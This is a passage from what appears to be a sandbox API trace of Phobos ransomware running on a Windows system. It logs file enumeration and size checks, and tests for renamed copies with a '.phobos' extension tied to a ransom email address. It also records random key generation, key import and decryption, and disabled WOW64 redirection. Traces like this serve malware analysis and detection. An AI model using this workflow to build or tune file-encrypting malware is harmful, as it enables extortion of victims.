files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.454] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.454] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=4846) returned 1 [0125.454] CloseHandle (hObject=0x594) returned 1 [0125.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 0x220 [0125.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.454] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.455] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=12981) returned 1 [0125.455] CloseHandle (hObject=0x594) returned 1 [0125.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 0x220 [0125.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.455] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.456] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=9318) returned 1 [0125.456] CloseHandle (hObject=0x594) returned 1 [0125.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 0x220 [0125.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.456] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.457] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=7567) returned 1 [0125.457] CloseHandle (hObject=0x594) returned 1 [0125.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 0x220 [0125.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.457] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.458] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=6331) returned 1 [0125.458] CloseHandle (hObject=0x594) returned 1 [0125.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 0x220 [0125.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.458] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.459] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=7178) returned 1 [0125.459] CloseHandle (hObject=0x594) returned 1 [0125.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 0x220 [0125.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.459] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.460] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=8568) returned 1 [0125.460] CloseHandle (hObject=0x594) returned 1 [0125.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 0x220 [0125.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.121] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0126.124] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll")) returned 0 [0126.145] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0126.145] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi")) returned 0 [0126.152] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0126.152] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp")) returned 0 [0126.153] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0126.153] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi")) returned 0 [0126.936] CryptImportKey (in: hProv=0x7868d8, pbData=0x3fffbe8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3fffc50 | out: phKey=0x3fffc50*=0x81d0a0) returned 1 [0126.936] CryptSetKeyParam (hKey=0x81d0a0, dwParam=0x1, pbData=0x3fffc38, dwFlags=0x0) returned 1 [0126.936] CryptDecrypt (in: hKey=0x81d0a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71230, pdwDataLen=0x3fffc04 | out: pbData=0xe71230, pdwDataLen=0x3fffc04) returned 1 [0126.936] CryptDestroyKey (hKey=0x81d0a0) returned 1 [0126.936] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x759a0000 [0126.936] GetProcAddress (hModule=0x759a0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x759b6b50 [0126.936] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0126.937] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71230 | out: hHeap=0xe70000) returned 1 Thread: id = 178 os_tid = 0xf0c [0124.245] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10000) returned 0x37140b8 [0124.246] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10000) returned 0x44c0048 [0124.247] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x28) returned 0xe79438 [0124.247] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x110102) returned 0x46c0020 [0124.250] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x50) returned 0xe79468 [0124.250] CryptImportKey (in: hProv=0x7868d8, pbData=0x413fc30, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x413fc98 | out: phKey=0x413fc98*=0x7b5be0) returned 1 [0124.250] CryptSetKeyParam (hKey=0x7b5be0, dwParam=0x1, pbData=0x413fc80, dwFlags=0x0) returned 1 [0124.250] CryptDecrypt (in: hKey=0x7b5be0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe79468, pdwDataLen=0x413fc4c | out: pbData=0xe79468, pdwDataLen=0x413fc4c) returned 1 [0124.250] CryptDestroyKey (hKey=0x7b5be0) returned 1 [0124.250] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x759a0000 [0124.250] GetProcAddress (hModule=0x759a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x759b6b30 [0124.250] Wow64DisableWow64FsRedirection (in: OldValue=0x413fce4 | out: OldValue=0x413fce4*=0x0) returned 1 [0124.250] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79468 | out: hHeap=0xe70000) returned 1 [0124.250] ResetEvent (hEvent=0x52c) returned 1 [0124.251] SetEvent (hEvent=0x530) returned 1 [0124.251] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.251] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0124.251] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=129) returned 1 [0124.251] CloseHandle (hObject=0x560) returned 1 [0124.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0124.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0x20 [0124.253] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.449] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.473] ResetEvent (hEvent=0x52c) returned 1 [0124.473] SetEvent (hEvent=0x530) returned 1 [0124.473] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.474] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0124.475] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=4662) returned 1 [0124.475] CloseHandle (hObject=0x578) returned 1 [0124.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0124.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.475] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.475] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.502] ResetEvent (hEvent=0x52c) returned 1 [0124.502] SetEvent (hEvent=0x530) returned 1 [0124.502] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.503] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=791421) returned 1 [0124.503] CloseHandle (hObject=0x580) returned 1 [0124.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0124.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.503] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.505] ResetEvent (hEvent=0x52c) returned 1 [0124.505] SetEvent (hEvent=0x530) returned 1 [0124.505] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.506] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=27045) returned 1 [0124.506] CloseHandle (hObject=0x580) returned 1 [0124.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0124.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.506] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.509] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0124.513] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=111320) returned 1 [0124.513] CloseHandle (hObject=0x584) returned 1 [0124.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0124.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.515] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0124.516] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=84190) returned 1 [0124.516] CloseHandle (hObject=0x584) returned 1 [0124.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 